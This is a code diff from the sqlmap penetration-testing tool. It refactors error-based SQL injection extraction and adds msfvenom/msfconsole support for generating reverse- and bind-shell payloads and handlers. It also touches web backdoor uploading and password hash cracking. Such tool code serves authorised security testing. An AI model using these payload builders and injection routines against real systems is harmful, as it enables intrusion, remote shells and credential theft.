regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), name, re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER))
|
regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), name, re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER))
|
||||||
if re.search(regex, (cookie or "")):
|
if re.search(regex, (cookie or "")):
|
||||||
found = True
|
found = True
|
||||||
|
@ -1029,6 +1039,7 @@ class Connect(object):
|
||||||
if kb.nullConnection and not content and not response and not timeBasedCompare:
|
if kb.nullConnection and not content and not response and not timeBasedCompare:
|
||||||
noteResponseTime = False
|
noteResponseTime = False
|
||||||
|
|
||||||
|
try:
|
||||||
pushValue(kb.pageCompress)
|
pushValue(kb.pageCompress)
|
||||||
kb.pageCompress = False
|
kb.pageCompress = False
|
||||||
|
|
||||||
|
@ -1044,7 +1055,7 @@ class Connect(object):
|
||||||
pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH])
|
pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH])
|
||||||
elif kb.nullConnection == NULLCONNECTION.RANGE and HTTP_HEADER.CONTENT_RANGE in headers:
|
elif kb.nullConnection == NULLCONNECTION.RANGE and HTTP_HEADER.CONTENT_RANGE in headers:
|
||||||
pageLength = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:])
|
pageLength = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:])
|
||||||
|
finally:
|
||||||
kb.pageCompress = popValue()
|
kb.pageCompress = popValue()
|
||||||
|
|
||||||
if not pageLength:
|
if not pageLength:
|
||||||
|
@ -1062,6 +1073,7 @@ class Connect(object):
|
||||||
page, headers, code = Connect.getPage(url=conf.secondOrder, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
|
page, headers, code = Connect.getPage(url=conf.secondOrder, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
|
||||||
|
|
||||||
threadData.lastQueryDuration = calculateDeltaSeconds(start)
|
threadData.lastQueryDuration = calculateDeltaSeconds(start)
|
||||||
|
threadData.lastPage = page
|
||||||
|
|
||||||
kb.originalCode = kb.originalCode or code
|
kb.originalCode = kb.originalCode or code
|
||||||
|
|
||||||
|
|
|
@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission
|
||||||
|
|
||||||
import httplib
|
import httplib
|
||||||
import socket
|
import socket
|
||||||
import sys
|
|
||||||
import urllib2
|
import urllib2
|
||||||
|
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
|
|
|
@ -391,10 +391,12 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
|
||||||
warnMsg += ". Falling back to partial UNION technique"
|
warnMsg += ". Falling back to partial UNION technique"
|
||||||
singleTimeWarnMessage(warnMsg)
|
singleTimeWarnMessage(warnMsg)
|
||||||
|
|
||||||
|
try:
|
||||||
pushValue(kb.forcePartialUnion)
|
pushValue(kb.forcePartialUnion)
|
||||||
kb.forcePartialUnion = True
|
kb.forcePartialUnion = True
|
||||||
value = _goUnion(query, unpack, dump)
|
value = _goUnion(query, unpack, dump)
|
||||||
found = (value is not None) or (value is None and expectingNone)
|
found = (value is not None) or (value is None and expectingNone)
|
||||||
|
finally:
|
||||||
kb.forcePartialUnion = popValue()
|
kb.forcePartialUnion = popValue()
|
||||||
else:
|
else:
|
||||||
singleTimeWarnMessage(warnMsg)
|
singleTimeWarnMessage(warnMsg)
|
||||||
|
@ -450,7 +452,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
|
||||||
|
|
||||||
kb.safeCharEncode = False
|
kb.safeCharEncode = False
|
||||||
|
|
||||||
if not kb.testMode and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert:
|
if not any((kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert:
|
||||||
warnMsg = "in case of continuous data retrieval problems you are advised to try "
|
warnMsg = "in case of continuous data retrieval problems you are advised to try "
|
||||||
warnMsg += "a switch '--no-cast' "
|
warnMsg += "a switch '--no-cast' "
|
||||||
warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else ""
|
warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else ""
|
||||||
|
|
|
@ -24,6 +24,7 @@ from lib.core.common import randomRange
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.data import paths
|
from lib.core.data import paths
|
||||||
from lib.core.enums import DBMS
|
from lib.core.enums import DBMS
|
||||||
|
@ -61,8 +62,10 @@ class Metasploit:
|
||||||
self.localIP = getLocalIP()
|
self.localIP = getLocalIP()
|
||||||
self.remoteIP = getRemoteIP() or conf.hostname
|
self.remoteIP = getRemoteIP() or conf.hostname
|
||||||
self._msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli"))
|
self._msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli"))
|
||||||
|
self._msfConsole = normalizePath(os.path.join(conf.msfPath, "msfconsole"))
|
||||||
self._msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode"))
|
self._msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode"))
|
||||||
self._msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload"))
|
self._msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload"))
|
||||||
|
self._msfVenom = normalizePath(os.path.join(conf.msfPath, "msfvenom"))
|
||||||
|
|
||||||
if IS_WIN:
|
if IS_WIN:
|
||||||
_ = conf.msfPath
|
_ = conf.msfPath
|
||||||
|
@ -76,8 +79,10 @@ class Metasploit:
|
||||||
if _ == old:
|
if _ == old:
|
||||||
break
|
break
|
||||||
self._msfCli = "%s & ruby %s" % (_, self._msfCli)
|
self._msfCli = "%s & ruby %s" % (_, self._msfCli)
|
||||||
|
self._msfConsole = "%s & ruby %s" % (_, self._msfConsole)
|
||||||
self._msfEncode = "ruby %s" % self._msfEncode
|
self._msfEncode = "ruby %s" % self._msfEncode
|
||||||
self._msfPayload = "%s & ruby %s" % (_, self._msfPayload)
|
self._msfPayload = "%s & ruby %s" % (_, self._msfPayload)
|
||||||
|
self._msfVenom = "%s & ruby %s" % (_, self._msfVenom)
|
||||||
|
|
||||||
self._msfPayloadsList = {
|
self._msfPayloadsList = {
|
||||||
"windows": {
|
"windows": {
|
||||||
|
@ -326,6 +331,7 @@ class Metasploit:
|
||||||
self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
|
self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
|
||||||
|
|
||||||
def _forgeMsfCliCmd(self, exitfunc="process"):
|
def _forgeMsfCliCmd(self, exitfunc="process"):
|
||||||
|
if kb.oldMsf:
|
||||||
self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr)
|
self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr)
|
||||||
self._cliCmd += " EXITFUNC=%s" % exitfunc
|
self._cliCmd += " EXITFUNC=%s" % exitfunc
|
||||||
self._cliCmd += " LPORT=%s" % self.portStr
|
self._cliCmd += " LPORT=%s" % self.portStr
|
||||||
|
@ -341,10 +347,27 @@ class Metasploit:
|
||||||
self._cliCmd += " DisableCourtesyShell=true"
|
self._cliCmd += " DisableCourtesyShell=true"
|
||||||
|
|
||||||
self._cliCmd += " E"
|
self._cliCmd += " E"
|
||||||
|
else:
|
||||||
|
self._cliCmd = "%s -x 'use multi/handler; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr)
|
||||||
|
self._cliCmd += "; set EXITFUNC %s" % exitfunc
|
||||||
|
self._cliCmd += "; set LPORT %s" % self.portStr
|
||||||
|
|
||||||
|
if self.connectionStr.startswith("bind"):
|
||||||
|
self._cliCmd += "; set RHOST %s" % self.rhostStr
|
||||||
|
elif self.connectionStr.startswith("reverse"):
|
||||||
|
self._cliCmd += "; set LHOST %s" % self.lhostStr
|
||||||
|
else:
|
||||||
|
raise SqlmapDataException("unexpected connection type")
|
||||||
|
|
||||||
|
if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject":
|
||||||
|
self._cliCmd += "; set DisableCourtesyShell true"
|
||||||
|
|
||||||
|
self._cliCmd += "; exploit'"
|
||||||
|
|
||||||
def _forgeMsfCliCmdForSmbrelay(self):
|
def _forgeMsfCliCmdForSmbrelay(self):
|
||||||
self._prepareIngredients(encode=False)
|
self._prepareIngredients(encode=False)
|
||||||
|
|
||||||
|
if kb.oldMsf:
|
||||||
self._cliCmd = "%s windows/smb/smb_relay PAYLOAD=%s" % (self._msfCli, self.payloadConnStr)
|
self._cliCmd = "%s windows/smb/smb_relay PAYLOAD=%s" % (self._msfCli, self.payloadConnStr)
|
||||||
self._cliCmd += " EXITFUNC=thread"
|
self._cliCmd += " EXITFUNC=thread"
|
||||||
self._cliCmd += " LPORT=%s" % self.portStr
|
self._cliCmd += " LPORT=%s" % self.portStr
|
||||||
|
@ -359,9 +382,29 @@ class Metasploit:
|
||||||
raise SqlmapDataException("unexpected connection type")
|
raise SqlmapDataException("unexpected connection type")
|
||||||
|
|
||||||
self._cliCmd += " E"
|
self._cliCmd += " E"
|
||||||
|
else:
|
||||||
|
self._cliCmd = "%s -x 'use windows/smb/smb_relay; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr)
|
||||||
|
self._cliCmd += "; set EXITFUNC thread"
|
||||||
|
self._cliCmd += "; set LPORT %s" % self.portStr
|
||||||
|
self._cliCmd += "; set SRVHOST %s" % self.lhostStr
|
||||||
|
self._cliCmd += "; set SRVPORT %s" % self._selectSMBPort()
|
||||||
|
|
||||||
|
if self.connectionStr.startswith("bind"):
|
||||||
|
self._cliCmd += "; set RHOST %s" % self.rhostStr
|
||||||
|
elif self.connectionStr.startswith("reverse"):
|
||||||
|
self._cliCmd += "; set LHOST %s" % self.lhostStr
|
||||||
|
else:
|
||||||
|
raise SqlmapDataException("unexpected connection type")
|
||||||
|
|
||||||
|
self._cliCmd += "; exploit'"
|
||||||
|
|
||||||
def _forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
|
def _forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
|
||||||
self._payloadCmd = "%s %s" % (self._msfPayload, self.payloadConnStr)
|
if kb.oldMsf:
|
||||||
|
self._payloadCmd = self._msfPayload
|
||||||
|
else:
|
||||||
|
self._payloadCmd = "%s -p" % self._msfVenom
|
||||||
|
|
||||||
|
self._payloadCmd += " %s" % self.payloadConnStr
|
||||||
self._payloadCmd += " EXITFUNC=%s" % exitfunc
|
self._payloadCmd += " EXITFUNC=%s" % exitfunc
|
||||||
self._payloadCmd += " LPORT=%s" % self.portStr
|
self._payloadCmd += " LPORT=%s" % self.portStr
|
||||||
|
|
||||||
|
@ -373,6 +416,7 @@ class Metasploit:
|
||||||
if Backend.isOs(OS.LINUX) and conf.privEsc:
|
if Backend.isOs(OS.LINUX) and conf.privEsc:
|
||||||
self._payloadCmd += " PrependChrootBreak=true PrependSetuid=true"
|
self._payloadCmd += " PrependChrootBreak=true PrependSetuid=true"
|
||||||
|
|
||||||
|
if kb.oldMsf:
|
||||||
if extra == "BufferRegister=EAX":
|
if extra == "BufferRegister=EAX":
|
||||||
self._payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self._msfEncode, self.encoderStr, outFile, format)
|
self._payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self._msfEncode, self.encoderStr, outFile, format)
|
||||||
|
|
||||||
|
@ -380,6 +424,14 @@ class Metasploit:
|
||||||
self._payloadCmd += " %s" % extra
|
self._payloadCmd += " %s" % extra
|
||||||
else:
|
else:
|
||||||
self._payloadCmd += " X > \"%s\"" % outFile
|
self._payloadCmd += " X > \"%s\"" % outFile
|
||||||
|
else:
|
||||||
|
if extra == "BufferRegister=EAX":
|
||||||
|
self._payloadCmd += " -a x86 -e %s -f %s > \"%s\"" % (self.encoderStr, format, outFile)
|
||||||
|
|
||||||
|
if extra is not None:
|
||||||
|
self._payloadCmd += " %s" % extra
|
||||||
|
else:
|
||||||
|
self._payloadCmd += " -f exe > \"%s\"" % outFile
|
||||||
|
|
||||||
def _runMsfCliSmbrelay(self):
|
def _runMsfCliSmbrelay(self):
|
||||||
self._forgeMsfCliCmdForSmbrelay()
|
self._forgeMsfCliCmdForSmbrelay()
|
||||||
|
|
|
@ -361,6 +361,9 @@ class UDF:
|
||||||
warnMsg += "<= %d are allowed" % len(udfList)
|
warnMsg += "<= %d are allowed" % len(udfList)
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
if not isinstance(choice, int):
|
||||||
|
break
|
||||||
|
|
||||||
cmd = ""
|
cmd = ""
|
||||||
count = 1
|
count = 1
|
||||||
udfToCall = udfList[choice - 1]
|
udfToCall = udfList[choice - 1]
|
||||||
|
|
|
@ -205,7 +205,6 @@ class Web:
|
||||||
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))
|
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))
|
||||||
|
|
||||||
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
|
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
|
||||||
success = False
|
|
||||||
|
|
||||||
for directory in directories:
|
for directory in directories:
|
||||||
if not directory:
|
if not directory:
|
||||||
|
@ -263,8 +262,8 @@ class Web:
|
||||||
|
|
||||||
with open(filename, "w+") as f:
|
with open(filename, "w+") as f:
|
||||||
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
|
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
|
||||||
_ = _.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
|
_ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
|
||||||
f.write(utf8encode(_))
|
f.write(_)
|
||||||
|
|
||||||
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
|
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
|
||||||
|
|
||||||
|
@ -357,6 +356,4 @@ class Web:
|
||||||
infoMsg += self.webBackdoorUrl
|
infoMsg += self.webBackdoorUrl
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
success = True
|
|
||||||
|
|
||||||
break
|
break
|
||||||
|
|
|
@ -212,7 +212,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||||
|
|
||||||
return not result
|
return not result
|
||||||
|
|
||||||
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None):
|
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):
|
||||||
"""
|
"""
|
||||||
continuousOrder means that distance between each two neighbour's
|
continuousOrder means that distance between each two neighbour's
|
||||||
numerical values is exactly 1
|
numerical values is exactly 1
|
||||||
|
@ -310,7 +310,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||||
kb.originalTimeDelay = conf.timeSec
|
kb.originalTimeDelay = conf.timeSec
|
||||||
|
|
||||||
kb.timeValidCharsRun = 0
|
kb.timeValidCharsRun = 0
|
||||||
if (conf.timeSec - kb.originalTimeDelay) < MAX_TIME_REVALIDATION_STEPS:
|
if retried < MAX_TIME_REVALIDATION_STEPS:
|
||||||
errMsg = "invalid character detected. retrying.."
|
errMsg = "invalid character detected. retrying.."
|
||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
|
|
||||||
|
@ -324,7 +324,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||||
logger.debug(dbgMsg)
|
logger.debug(dbgMsg)
|
||||||
kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO
|
kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO
|
||||||
|
|
||||||
return getChar(idx, originalTbl, continuousOrder, expand, shiftTable)
|
return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1)
|
||||||
else:
|
else:
|
||||||
errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal)
|
errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal)
|
||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
|
|
|
@ -35,10 +35,11 @@ from lib.core.data import logger
|
||||||
from lib.core.data import queries
|
from lib.core.data import queries
|
||||||
from lib.core.dicts import FROM_DUMMY_TABLE
|
from lib.core.dicts import FROM_DUMMY_TABLE
|
||||||
from lib.core.enums import DBMS
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.enums import HASHDB_KEYS
|
||||||
from lib.core.enums import HTTP_HEADER
|
from lib.core.enums import HTTP_HEADER
|
||||||
from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD
|
from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD
|
||||||
from lib.core.settings import MYSQL_ERROR_CHUNK_LENGTH
|
from lib.core.settings import MIN_ERROR_CHUNK_LENGTH
|
||||||
from lib.core.settings import MSSQL_ERROR_CHUNK_LENGTH
|
from lib.core.settings import MAX_ERROR_CHUNK_LENGTH
|
||||||
from lib.core.settings import NULL
|
from lib.core.settings import NULL
|
||||||
from lib.core.settings import PARTIAL_VALUE_MARKER
|
from lib.core.settings import PARTIAL_VALUE_MARKER
|
||||||
from lib.core.settings import SLOW_ORDER_COUNT_THRESHOLD
|
from lib.core.settings import SLOW_ORDER_COUNT_THRESHOLD
|
||||||
|
@ -50,7 +51,7 @@ from lib.core.unescaper import unescaper
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
from lib.utils.progress import ProgressBar
|
from lib.utils.progress import ProgressBar
|
||||||
|
|
||||||
def _oneShotErrorUse(expression, field=None):
|
def _oneShotErrorUse(expression, field=None, chunkTest=False):
|
||||||
offset = 1
|
offset = 1
|
||||||
partialValue = None
|
partialValue = None
|
||||||
threadData = getCurrentThreadData()
|
threadData = getCurrentThreadData()
|
||||||
|
@ -63,12 +64,28 @@ def _oneShotErrorUse(expression, field=None):
|
||||||
|
|
||||||
threadData.resumed = retVal is not None and not partialValue
|
threadData.resumed = retVal is not None and not partialValue
|
||||||
|
|
||||||
if Backend.isDbms(DBMS.MYSQL):
|
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
|
||||||
chunk_length = MYSQL_ERROR_CHUNK_LENGTH
|
debugMsg = "searching for error chunk length..."
|
||||||
elif Backend.isDbms(DBMS.MSSQL):
|
logger.debug(debugMsg)
|
||||||
chunk_length = MSSQL_ERROR_CHUNK_LENGTH
|
|
||||||
|
current = MAX_ERROR_CHUNK_LENGTH
|
||||||
|
while current >= MIN_ERROR_CHUNK_LENGTH:
|
||||||
|
testChar = str(current % 10)
|
||||||
|
testQuery = "SELECT %s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current)
|
||||||
|
result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True))
|
||||||
|
if result and testChar in result:
|
||||||
|
if result == testChar * current:
|
||||||
|
kb.errorChunkLength = current
|
||||||
|
break
|
||||||
else:
|
else:
|
||||||
chunk_length = None
|
current = len(result) - len(kb.chars.stop)
|
||||||
|
else:
|
||||||
|
current = current / 2
|
||||||
|
|
||||||
|
if kb.errorChunkLength:
|
||||||
|
hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength)
|
||||||
|
else:
|
||||||
|
kb.errorChunkLength = 0
|
||||||
|
|
||||||
if retVal is None or partialValue:
|
if retVal is None or partialValue:
|
||||||
try:
|
try:
|
||||||
|
@ -79,12 +96,12 @@ def _oneShotErrorUse(expression, field=None):
|
||||||
if field:
|
if field:
|
||||||
nulledCastedField = agent.nullAndCastField(field)
|
nulledCastedField = agent.nullAndCastField(field)
|
||||||
|
|
||||||
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")): # skip chunking of scalar expression (unneeded)
|
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest:
|
||||||
extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0)
|
extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0)
|
||||||
if extendedField != field: # e.g. MIN(surname)
|
if extendedField != field: # e.g. MIN(surname)
|
||||||
nulledCastedField = extendedField.replace(field, nulledCastedField)
|
nulledCastedField = extendedField.replace(field, nulledCastedField)
|
||||||
field = extendedField
|
field = extendedField
|
||||||
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length)
|
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength)
|
||||||
|
|
||||||
# Forge the error-based SQL injection request
|
# Forge the error-based SQL injection request
|
||||||
vector = kb.injection.data[kb.technique].vector
|
vector = kb.injection.data[kb.technique].vector
|
||||||
|
@ -125,6 +142,7 @@ def _oneShotErrorUse(expression, field=None):
|
||||||
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
|
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
|
||||||
|
|
||||||
if trimmed:
|
if trimmed:
|
||||||
|
if not chunkTest:
|
||||||
warnMsg = "possible server trimmed output detected "
|
warnMsg = "possible server trimmed output detected "
|
||||||
warnMsg += "(due to its length and/or content): "
|
warnMsg += "(due to its length and/or content): "
|
||||||
warnMsg += safecharencode(trimmed)
|
warnMsg += safecharencode(trimmed)
|
||||||
|
@ -146,8 +164,8 @@ def _oneShotErrorUse(expression, field=None):
|
||||||
else:
|
else:
|
||||||
retVal += output if output else ''
|
retVal += output if output else ''
|
||||||
|
|
||||||
if output and len(output) >= chunk_length:
|
if output and kb.errorChunkLength and len(output) >= kb.errorChunkLength and not chunkTest:
|
||||||
offset += chunk_length
|
offset += kb.errorChunkLength
|
||||||
else:
|
else:
|
||||||
break
|
break
|
||||||
|
|
||||||
|
|
|
@ -81,6 +81,7 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
|
||||||
|
|
||||||
return found
|
return found
|
||||||
|
|
||||||
|
try:
|
||||||
pushValue(kb.errorIsNone)
|
pushValue(kb.errorIsNone)
|
||||||
items, ratios = [], []
|
items, ratios = [], []
|
||||||
kb.errorIsNone = False
|
kb.errorIsNone = False
|
||||||
|
@ -146,7 +147,7 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
|
||||||
if max_ > upper:
|
if max_ > upper:
|
||||||
if retVal is None or abs(max_ - upper) > abs(min_ - lower):
|
if retVal is None or abs(max_ - upper) > abs(min_ - lower):
|
||||||
retVal = maxItem[0]
|
retVal = maxItem[0]
|
||||||
|
finally:
|
||||||
kb.errorIsNone = popValue()
|
kb.errorIsNone = popValue()
|
||||||
|
|
||||||
if retVal:
|
if retVal:
|
||||||
|
|
|
@ -8,14 +8,11 @@ See the file 'doc/COPYING' for copying permission
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
import os
|
import os
|
||||||
import shutil
|
|
||||||
import sqlite3
|
import sqlite3
|
||||||
import sys
|
import sys
|
||||||
import tempfile
|
import tempfile
|
||||||
import time
|
import time
|
||||||
|
|
||||||
from subprocess import PIPE
|
|
||||||
|
|
||||||
from lib.core.common import unArrayizeValue
|
from lib.core.common import unArrayizeValue
|
||||||
from lib.core.convert import base64pickle
|
from lib.core.convert import base64pickle
|
||||||
from lib.core.convert import hexencode
|
from lib.core.convert import hexencode
|
||||||
|
@ -156,11 +153,12 @@ class Task(object):
|
||||||
|
|
||||||
def engine_start(self):
|
def engine_start(self):
|
||||||
self.process = Popen(["python", "sqlmap.py", "--pickled-options", base64pickle(self.options)],
|
self.process = Popen(["python", "sqlmap.py", "--pickled-options", base64pickle(self.options)],
|
||||||
shell=False, stdin=PIPE, close_fds=not IS_WIN)
|
shell=False, close_fds=not IS_WIN)
|
||||||
|
|
||||||
def engine_stop(self):
|
def engine_stop(self):
|
||||||
if self.process:
|
if self.process:
|
||||||
return self.process.terminate()
|
self.process.terminate()
|
||||||
|
return self.process.wait()
|
||||||
else:
|
else:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
@ -169,7 +167,8 @@ class Task(object):
|
||||||
|
|
||||||
def engine_kill(self):
|
def engine_kill(self):
|
||||||
if self.process:
|
if self.process:
|
||||||
return self.process.kill()
|
self.process.kill()
|
||||||
|
return self.process.wait()
|
||||||
else:
|
else:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
|
|
@ -5,7 +5,6 @@ Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'doc/COPYING' for copying permission
|
See the file 'doc/COPYING' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import codecs
|
|
||||||
import httplib
|
import httplib
|
||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
|
@ -19,13 +18,11 @@ from lib.core.common import findPageForms
|
||||||
from lib.core.common import openFile
|
from lib.core.common import openFile
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.common import safeCSValue
|
from lib.core.common import safeCSValue
|
||||||
from lib.core.common import singleTimeWarnMessage
|
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.exception import SqlmapConnectionException
|
from lib.core.exception import SqlmapConnectionException
|
||||||
from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS
|
from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS
|
||||||
from lib.core.settings import UNICODE_ENCODING
|
|
||||||
from lib.core.threads import getCurrentThreadData
|
from lib.core.threads import getCurrentThreadData
|
||||||
from lib.core.threads import runThreads
|
from lib.core.threads import runThreads
|
||||||
from lib.parse.sitemap import parseSitemap
|
from lib.parse.sitemap import parseSitemap
|
||||||
|
|
|
@ -31,7 +31,7 @@ from lib.request.httpshandler import HTTPSHandler
|
||||||
class Google(object):
|
class Google(object):
|
||||||
"""
|
"""
|
||||||
This class defines methods used to perform Google dorking (command
|
This class defines methods used to perform Google dorking (command
|
||||||
line option '-g <google dork>'
|
line option '-g <google dork>')
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(self, handlers):
|
def __init__(self, handlers):
|
||||||
|
|
|
@ -59,7 +59,6 @@ from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.enums import DBMS
|
from lib.core.enums import DBMS
|
||||||
from lib.core.enums import HASH
|
from lib.core.enums import HASH
|
||||||
from lib.core.exception import SqlmapFilePathException
|
|
||||||
from lib.core.exception import SqlmapUserQuitException
|
from lib.core.exception import SqlmapUserQuitException
|
||||||
from lib.core.settings import COMMON_PASSWORD_SUFFIXES
|
from lib.core.settings import COMMON_PASSWORD_SUFFIXES
|
||||||
from lib.core.settings import COMMON_USER_COLUMNS
|
from lib.core.settings import COMMON_USER_COLUMNS
|
||||||
|
@ -668,8 +667,9 @@ def dictionaryAttack(attack_dict):
|
||||||
hash_regexes = []
|
hash_regexes = []
|
||||||
results = []
|
results = []
|
||||||
resumes = []
|
resumes = []
|
||||||
processException = False
|
|
||||||
user_hash = []
|
user_hash = []
|
||||||
|
processException = False
|
||||||
|
foundHash = False
|
||||||
|
|
||||||
for (_, hashes) in attack_dict.items():
|
for (_, hashes) in attack_dict.items():
|
||||||
for hash_ in hashes:
|
for hash_ in hashes:
|
||||||
|
@ -693,6 +693,7 @@ def dictionaryAttack(attack_dict):
|
||||||
if not hash_:
|
if not hash_:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
|
foundHash = True
|
||||||
hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_
|
hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_
|
||||||
|
|
||||||
if re.match(hash_regex, hash_):
|
if re.match(hash_regex, hash_):
|
||||||
|
@ -770,7 +771,7 @@ def dictionaryAttack(attack_dict):
|
||||||
|
|
||||||
except Exception, ex:
|
except Exception, ex:
|
||||||
warnMsg = "there was a problem while loading dictionaries"
|
warnMsg = "there was a problem while loading dictionaries"
|
||||||
warnMsg += " ('%s')" % ex
|
warnMsg += " ('%s')" % ex.message
|
||||||
logger.critical(warnMsg)
|
logger.critical(warnMsg)
|
||||||
|
|
||||||
